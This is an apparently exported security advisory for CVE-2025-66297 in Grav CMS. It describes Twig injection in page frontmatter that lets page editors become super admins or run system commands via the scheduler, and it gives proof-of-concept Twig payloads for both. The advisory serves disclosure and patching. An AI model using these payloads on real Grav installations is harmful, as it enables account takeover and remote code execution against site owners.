getgrav/grav
Affected
- introduced
0, fixed1.8.0-beta.27(ecosystem)
Fixed versions
1.8.0-beta.27
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2025-66297
Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection
Summary
A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.
Details
Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true).
A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.
This enables exploitation of Grav internal APIs such as:
grav.user.update() and grav.user.save() for escalating the current user to super admin or admingrav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code executionThe Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.
PoC
Preconditions:
admin.pages access)Steps to reproduce Privilege Escalation:
cms-url/login).{% set _ = grav.user.update({
'access': {
'admin': {
'login': true,
'super': true
}
}
}, {}) %}
{% set _ = grav.user.save() %}
Steps to reproduce Remote Code Execution:
{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}
curl request.Impact
This vulnerability allows:
It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.
High Basis: The source's own band: HIGH
0, fixed 1.8.0-beta.27 (ecosystem)1.8.0-beta.27
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0